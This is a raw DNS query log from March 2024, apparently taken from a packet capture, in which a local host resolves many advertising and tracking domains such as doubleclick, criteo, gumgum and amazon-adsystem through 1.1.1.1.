Mar 28, 2024 09:51:58.795320988 CET	192.168.2.4	1.1.1.1	0xb221	Standard query (0)	gw-iad-bid.ymmobi.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.795856953 CET	192.168.2.4	1.1.1.1	0xbc0b	Standard query (0)	gw-iad-bid.ymmobi.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.800389051 CET	192.168.2.4	1.1.1.1	0xb0a4	Standard query (0)	bidder.criteo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.800730944 CET	192.168.2.4	1.1.1.1	0xc2c2	Standard query (0)	bidder.criteo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.802838087 CET	192.168.2.4	1.1.1.1	0xcff6	Standard query (0)	prebid-server.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.802999973 CET	192.168.2.4	1.1.1.1	0x6c0a	Standard query (0)	prebid-server.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.803843975 CET	192.168.2.4	1.1.1.1	0x1ca8	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.804282904 CET	192.168.2.4	1.1.1.1	0xfbb9	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.804282904 CET	192.168.2.4	1.1.1.1	0x3d36	Standard query (0)	ads.betweendigital.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.804532051 CET	192.168.2.4	1.1.1.1	0x930f	Standard query (0)	ads.betweendigital.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.829866886 CET	192.168.2.4	1.1.1.1	0x6c78	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.830086946 CET	192.168.2.4	1.1.1.1	0x6ef9	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.848248005 CET	192.168.2.4	1.1.1.1	0x6a79	Standard query (0)	sync-jp.im-apps.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.848436117 CET	192.168.2.4	1.1.1.1	0xeefc	Standard query (0)	sync-jp.im-apps.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.890016079 CET	192.168.2.4	1.1.1.1	0x4065	Standard query (0)	match.adsby.bidtheatre.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.890249014 CET	192.168.2.4	1.1.1.1	0xdba1	Standard query (0)	match.adsby.bidtheatre.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:00.380003929 CET	192.168.2.4	1.1.1.1	0xe7d8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.380003929 CET	192.168.2.4	1.1.1.1	0x5581	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:00.859761000 CET	192.168.2.4	1.1.1.1	0x5dfa	Standard query (0)	ads.dxkulture.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.860003948 CET	192.168.2.4	1.1.1.1	0xf674	Standard query (0)	ads.dxkulture.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:01.058559895 CET	192.168.2.4	1.1.1.1	0xddf7	Standard query (0)	ow.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:01.058852911 CET	192.168.2.4	1.1.1.1	0x9485	Standard query (0)	ow.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:02.664195061 CET	192.168.2.4	1.1.1.1	0xcba2	Standard query (0)	ads.us.e-planning.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.664560080 CET	192.168.2.4	1.1.1.1	0x33f1	Standard query (0)	ads.us.e-planning.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:02.673017025 CET	192.168.2.4	1.1.1.1	0x2bec	Standard query (0)	s.tribalfusion.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.673521996 CET	192.168.2.4	1.1.1.1	0xccc9	Standard query (0)	s.tribalfusion.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:02.700824022 CET	192.168.2.4	1.1.1.1	0x97a0	Standard query (0)	pool.admedo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.709450006 CET	192.168.2.4	1.1.1.1	0xa858	Standard query (0)	pool.admedo.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:02.713315964 CET	192.168.2.4	1.1.1.1	0x9fd6	Standard query (0)	bsd.frontend.weborama.fr	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.713532925 CET	192.168.2.4	1.1.1.1	0x3470	Standard query (0)	bsd.frontend.weborama.fr	65	IN (0x0001)	false
Mar 28, 2024 09:52:02.974522114 CET	192.168.2.4	1.1.1.1	0x88cc	Standard query (0)	dx.frontend.weborama.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.975375891 CET	192.168.2.4	1.1.1.1	0x3bca	Standard query (0)	dx.frontend.weborama.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:03.322158098 CET	192.168.2.4	1.1.1.1	0x4f67	Standard query (0)	cs.yellowblue.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.322487116 CET	192.168.2.4	1.1.1.1	0x60d4	Standard query (0)	cs.yellowblue.io	65	IN (0x0001)	false
Mar 28, 2024 09:52:03.348318100 CET	192.168.2.4	1.1.1.1	0x6192	Standard query (0)	cs.minutemedia-prebid.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.351914883 CET	192.168.2.4	1.1.1.1	0x14e2	Standard query (0)	cs.minutemedia-prebid.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:04.814497948 CET	192.168.2.4	1.1.1.1	0x41a3	Standard query (0)	hbx.media.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:04.814654112 CET	192.168.2.4	1.1.1.1	0x9557	Standard query (0)	hbx.media.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:05.012238026 CET	192.168.2.4	1.1.1.1	0xd5d9	Standard query (0)	libs.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:05.012495995 CET	192.168.2.4	1.1.1.1	0xfaf6	Standard query (0)	libs.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:05.061187983 CET	192.168.2.4	1.1.1.1	0x5577	Standard query (0)	events-ssc.33across.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:05.061439991 CET	192.168.2.4	1.1.1.1	0x3e60	Standard query (0)	events-ssc.33across.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:05.664805889 CET	192.168.2.4	1.1.1.1	0xd625	Standard query (0)	sync.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:05.664936066 CET	192.168.2.4	1.1.1.1	0xa287	Standard query (0)	sync.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:06.097098112 CET	192.168.2.4	1.1.1.1	0xbb20	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:06.097311974 CET	192.168.2.4	1.1.1.1	0x7a95	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:06.222867012 CET	192.168.2.4	1.1.1.1	0xeda7	Standard query (0)	widgetmonitor.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:06.223174095 CET	192.168.2.4	1.1.1.1	0x2d3f	Standard query (0)	widgetmonitor.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:07.299659014 CET	192.168.2.4	1.1.1.1	0xa8eb	Standard query (0)	bpi.rtactivate.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:07.299786091 CET	192.168.2.4	1.1.1.1	0x7b5e	Standard query (0)	bpi.rtactivate.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:07.300427914 CET	192.168.2.4	1.1.1.1	0x4123	Standard query (0)	stags.bluekai.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:07.300709963 CET	192.168.2.4	1.1.1.1	0x1cd	Standard query (0)	stags.bluekai.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:07.443989038 CET	192.168.2.4	1.1.1.1	0xa240	Standard query (0)	wam-google.solution.weborama.fr	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:07.444145918 CET	192.168.2.4	1.1.1.1	0x42ad	Standard query (0)	wam-google.solution.weborama.fr	65	IN (0x0001)	false
Mar 28, 2024 09:52:08.873745918 CET	192.168.2.4	1.1.1.1	0x9f15	Standard query (0)	ps.eyeota.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:08.873999119 CET	192.168.2.4	1.1.1.1	0x22b9	Standard query (0)	ps.eyeota.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:08.876424074 CET	192.168.2.4	1.1.1.1	0x9a65	Standard query (0)	id.geistm.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:08.876585960 CET	192.168.2.4	1.1.1.1	0x5a8	Standard query (0)	id.geistm.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:08.973720074 CET	192.168.2.4	1.1.1.1	0x66fc	Standard query (0)	id.geistm.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.483737946 CET	192.168.2.4	1.1.1.1	0xf2ff	Standard query (0)	us.ck-ie.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.484438896 CET	192.168.2.4	1.1.1.1	0xe160	Standard query (0)	us.ck-ie.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:10.509753942 CET	192.168.2.4	1.1.1.1	0x96b6	Standard query (0)	d.turn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.523852110 CET	192.168.2.4	1.1.1.1	0xae1a	Standard query (0)	d.turn.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:10.871561050 CET	192.168.2.4	1.1.1.1	0x856a	Standard query (0)	loadus.exelator.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:10.871705055 CET	192.168.2.4	1.1.1.1	0x990c	Standard query (0)	loadus.exelator.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:13.896239996 CET	192.168.2.4	1.1.1.1	0x4883	Standard query (0)	cdn.onesignal.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:13.896550894 CET	192.168.2.4	1.1.1.1	0x1cfe	Standard query (0)	cdn.onesignal.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:14.403388977 CET	192.168.2.4	1.1.1.1	0xb4c1	Standard query (0)	aax-us-east.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.403568029 CET	192.168.2.4	1.1.1.1	0x9d4f	Standard query (0)	aax-us-east.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:14.407598972 CET	192.168.2.4	1.1.1.1	0x8467	Standard query (0)	sync.resetdigital.co	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.407891035 CET	192.168.2.4	1.1.1.1	0xe45a	Standard query (0)	sync.resetdigital.co	65	IN (0x0001)	false
Mar 28, 2024 09:52:14.423569918 CET	192.168.2.4	1.1.1.1	0x453	Standard query (0)	trace.mediago.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.423705101 CET	192.168.2.4	1.1.1.1	0x671b	Standard query (0)	trace.mediago.io	65	IN (0x0001)	false
Mar 28, 2024 09:52:14.424709082 CET	192.168.2.4	1.1.1.1	0x7d4	Standard query (0)	cm.rtbsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.424937010 CET	192.168.2.4	1.1.1.1	0x3157	Standard query (0)	cm.rtbsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:14.425893068 CET	192.168.2.4	1.1.1.1	0x1d51	Standard query (0)	pxl.iqm.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:14.426026106 CET	192.168.2.4	1.1.1.1	0x4fd0	Standard query (0)	pxl.iqm.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:20.799077034 CET	192.168.2.4	1.1.1.1	0x8c33	Standard query (0)	pixel-sync.sitescout.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:20.799240112 CET	192.168.2.4	1.1.1.1	0x5726	Standard query (0)	pixel-sync.sitescout.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:21.234179020 CET	192.168.2.4	1.1.1.1	0x1bc8	Standard query (0)	synchroscript.deliveryengine.adswizz.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:21.234179020 CET	192.168.2.4	1.1.1.1	0xd9d3	Standard query (0)	synchroscript.deliveryengine.adswizz.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.253240108 CET	192.168.2.4	1.1.1.1	0xf48d	Standard query (0)	service.bidlab.ai	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.253460884 CET	192.168.2.4	1.1.1.1	0x2522	Standard query (0)	service.bidlab.ai	65	IN (0x0001)	false
Mar 28, 2024 09:52:21.459959030 CET	192.168.2.4	1.1.1.1	0x560c	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:21.459959030 CET	192.168.2.4	1.1.1.1	0xf8c2	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:22.110920906 CET	192.168.2.4	1.1.1.1	0xdd0d	Standard query (0)	sync.ipredictive.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:22.110920906 CET	192.168.2.4	1.1.1.1	0xd007	Standard query (0)	sync.ipredictive.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:23.196268082 CET	192.168.2.4	1.1.1.1	0xef93	Standard query (0)	c.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.196418047 CET	192.168.2.4	1.1.1.1	0x381a	Standard query (0)	c.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:23.613382101 CET	192.168.2.4	1.1.1.1	0xbb8d	Standard query (0)	aax-us-east.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.615923882 CET	192.168.2.4	1.1.1.1	0x1a4	Standard query (0)	aax-us-east.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:23.892812967 CET	192.168.2.4	1.1.1.1	0xb940	Standard query (0)	a.audrte.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.893512964 CET	192.168.2.4	1.1.1.1	0x5d41	Standard query (0)	a.audrte.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:23.917419910 CET	192.168.2.4	1.1.1.1	0x2cb2	Standard query (0)	visitor.omnitagjs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.923429012 CET	192.168.2.4	1.1.1.1	0x3b44	Standard query (0)	visitor.omnitagjs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:23.928622961 CET	192.168.2.4	1.1.1.1	0xa035	Standard query (0)	io.narrative.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.929181099 CET	192.168.2.4	1.1.1.1	0x7008	Standard query (0)	io.narrative.io	65	IN (0x0001)	false
Mar 28, 2024 09:52:23.942882061 CET	192.168.2.4	1.1.1.1	0x66bb	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.943375111 CET	192.168.2.4	1.1.1.1	0xcde4	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:23.944562912 CET	192.168.2.4	1.1.1.1	0x945	Standard query (0)	pixel.onaudience.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:23.944967031 CET	192.168.2.4	1.1.1.1	0xd242	Standard query (0)	pixel.onaudience.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:24.987833977 CET	192.168.2.4	1.1.1.1	0x731f	Standard query (0)	c.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:24.988301039 CET	192.168.2.4	1.1.1.1	0x769d	Standard query (0)	c.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.213248014 CET	192.168.2.4	1.1.1.1	0x41da	Standard query (0)	intake.pbstck.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.215229988 CET	192.168.2.4	1.1.1.1	0x7464	Standard query (0)	intake.pbstck.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.218446016 CET	192.168.2.4	1.1.1.1	0x4d0f	Standard query (0)	js.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.218750000 CET	192.168.2.4	1.1.1.1	0xf83f	Standard query (0)	js.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.635579109 CET	192.168.2.4	1.1.1.1	0x974f	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.635579109 CET	192.168.2.4	1.1.1.1	0x721e	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.671057940 CET	192.168.2.4	1.1.1.1	0x96ce	Standard query (0)	jelly.mdhv.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.671504974 CET	192.168.2.4	1.1.1.1	0x348a	Standard query (0)	jelly.mdhv.io	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.676381111 CET	192.168.2.4	1.1.1.1	0xa95f	Standard query (0)	m.media-amazon.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.678148031 CET	192.168.2.4	1.1.1.1	0x307f	Standard query (0)	m.media-amazon.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.787219048 CET	192.168.2.4	1.1.1.1	0x8d18	Standard query (0)	c.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.787219048 CET	192.168.2.4	1.1.1.1	0xae00	Standard query (0)	c.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.787688017 CET	192.168.2.4	1.1.1.1	0x67d5	Standard query (0)	ts.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.787949085 CET	192.168.2.4	1.1.1.1	0x4d38	Standard query (0)	ts.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.877351046 CET	192.168.2.4	1.1.1.1	0xbd33	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.881095886 CET	192.168.2.4	1.1.1.1	0x9d6a	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.882251978 CET	192.168.2.4	1.1.1.1	0x9c5b	Standard query (0)	ssbsync.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.882627010 CET	192.168.2.4	1.1.1.1	0x518c	Standard query (0)	ssbsync.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.883522034 CET	192.168.2.4	1.1.1.1	0x7a7b	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.883522034 CET	192.168.2.4	1.1.1.1	0xd7c5	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.892355919 CET	192.168.2.4	1.1.1.1	0x6db9	Standard query (0)	widget-pixels.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.892733097 CET	192.168.2.4	1.1.1.1	0x7493	Standard query (0)	widget-pixels.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.893620014 CET	192.168.2.4	1.1.1.1	0x822d	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.894165993 CET	192.168.2.4	1.1.1.1	0x5393	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.895175934 CET	192.168.2.4	1.1.1.1	0x2c52	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:25.895175934 CET	192.168.2.4	1.1.1.1	0xf407	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.895796061 CET	192.168.2.4	1.1.1.1	0x6694	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:25.896123886 CET	192.168.2.4	1.1.1.1	0xc985	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:26.540035963 CET	192.168.2.4	1.1.1.1	0x1d86	Standard query (0)	aba.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.540649891 CET	192.168.2.4	1.1.1.1	0x7791	Standard query (0)	aba.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:26.597018003 CET	192.168.2.4	1.1.1.1	0x9d22	Standard query (0)	g2.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:26.597681999 CET	192.168.2.4	1.1.1.1	0x472f	Standard query (0)	g2.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:27.070681095 CET	192.168.2.4	1.1.1.1	0x2669	Standard query (0)	va-g2.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.070988894 CET	192.168.2.4	1.1.1.1	0xbfd0	Standard query (0)	va-g2.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:27.071863890 CET	192.168.2.4	1.1.1.1	0x3aaa	Standard query (0)	secure.quantserve.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.072069883 CET	192.168.2.4	1.1.1.1	0xd8f5	Standard query (0)	secure.quantserve.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:27.075493097 CET	192.168.2.4	1.1.1.1	0xf1b7	Standard query (0)	attentionxyz.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.075644016 CET	192.168.2.4	1.1.1.1	0x3271	Standard query (0)	attentionxyz.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:27.076704979 CET	192.168.2.4	1.1.1.1	0x9f1e	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.077016115 CET	192.168.2.4	1.1.1.1	0xb4a6	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:27.860856056 CET	192.168.2.4	1.1.1.1	0xc71d	Standard query (0)	gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:27.861099958 CET	192.168.2.4	1.1.1.1	0x3d00	Standard query (0)	gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.548890114 CET	192.168.2.4	1.1.1.1	0xd85b	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.549196959 CET	192.168.2.4	1.1.1.1	0xc569	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.550497055 CET	192.168.2.4	1.1.1.1	0x1c9d	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.550618887 CET	192.168.2.4	1.1.1.1	0xb635	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.553267002 CET	192.168.2.4	1.1.1.1	0x3148	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.553570986 CET	192.168.2.4	1.1.1.1	0x7a2a	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.556288958 CET	192.168.2.4	1.1.1.1	0x1fdf	Standard query (0)	images-na.ssl-images-amazon.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.556561947 CET	192.168.2.4	1.1.1.1	0xd128	Standard query (0)	images-na.ssl-images-amazon.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.559082985 CET	192.168.2.4	1.1.1.1	0x50f5	Standard query (0)	s.e-planning.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.559207916 CET	192.168.2.4	1.1.1.1	0x201	Standard query (0)	s.e-planning.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.786166906 CET	192.168.2.4	1.1.1.1	0x6ca7	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.786601067 CET	192.168.2.4	1.1.1.1	0xd3ac	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.787329912 CET	192.168.2.4	1.1.1.1	0xa542	Standard query (0)	rtb.om-meta.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.787825108 CET	192.168.2.4	1.1.1.1	0x16f8	Standard query (0)	rtb.om-meta.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.789122105 CET	192.168.2.4	1.1.1.1	0xc285	Standard query (0)	z.moatads.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.789418936 CET	192.168.2.4	1.1.1.1	0x9f78	Standard query (0)	z.moatads.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:30.844724894 CET	192.168.2.4	1.1.1.1	0xb95b	Standard query (0)	aes.us-east.3px.axp.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:30.844861984 CET	192.168.2.4	1.1.1.1	0xfdbd	Standard query (0)	aes.us-east.3px.axp.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.051480055 CET	192.168.2.4	1.1.1.1	0x20a4	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.051959038 CET	192.168.2.4	1.1.1.1	0x4f5f	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.054181099 CET	192.168.2.4	1.1.1.1	0x3a8a	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.060329914 CET	192.168.2.4	1.1.1.1	0x2c38	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.256331921 CET	192.168.2.4	1.1.1.1	0x86d0	Standard query (0)	aax.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.256856918 CET	192.168.2.4	1.1.1.1	0xcff0	Standard query (0)	aax.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.258949995 CET	192.168.2.4	1.1.1.1	0x3a23	Standard query (0)	us-east-1.paa-reporting-advertising.amazon	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.259182930 CET	192.168.2.4	1.1.1.1	0x65a7	Standard query (0)	us-east-1.paa-reporting-advertising.amazon	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.282059908 CET	192.168.2.4	1.1.1.1	0xdb1a	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.282495022 CET	192.168.2.4	1.1.1.1	0x3c6c	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.283101082 CET	192.168.2.4	1.1.1.1	0xdde2	Standard query (0)	api.attentionxyz.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.283813953 CET	192.168.2.4	1.1.1.1	0xd73f	Standard query (0)	api.attentionxyz.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.413429976 CET	192.168.2.4	1.1.1.1	0x1ad9	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.413678885 CET	192.168.2.4	1.1.1.1	0xae36	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.505594969 CET	192.168.2.4	1.1.1.1	0x6c5e	Standard query (0)	u-iad04.e-planning.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.505594969 CET	192.168.2.4	1.1.1.1	0x421e	Standard query (0)	u-iad04.e-planning.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.695864916 CET	192.168.2.4	1.1.1.1	0xd29f	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.695864916 CET	192.168.2.4	1.1.1.1	0x5deb	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.790597916 CET	192.168.2.4	1.1.1.1	0x1b21	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.792753935 CET	192.168.2.4	1.1.1.1	0xcdd4	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.853445053 CET	192.168.2.4	1.1.1.1	0x88be	Standard query (0)	cookies.nextmillmedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.853646994 CET	192.168.2.4	1.1.1.1	0x14ce	Standard query (0)	cookies.nextmillmedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.857825994 CET	192.168.2.4	1.1.1.1	0x5379	Standard query (0)	i.liadm.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.858114004 CET	192.168.2.4	1.1.1.1	0xb627	Standard query (0)	i.liadm.com	65	IN (0x0001)	false
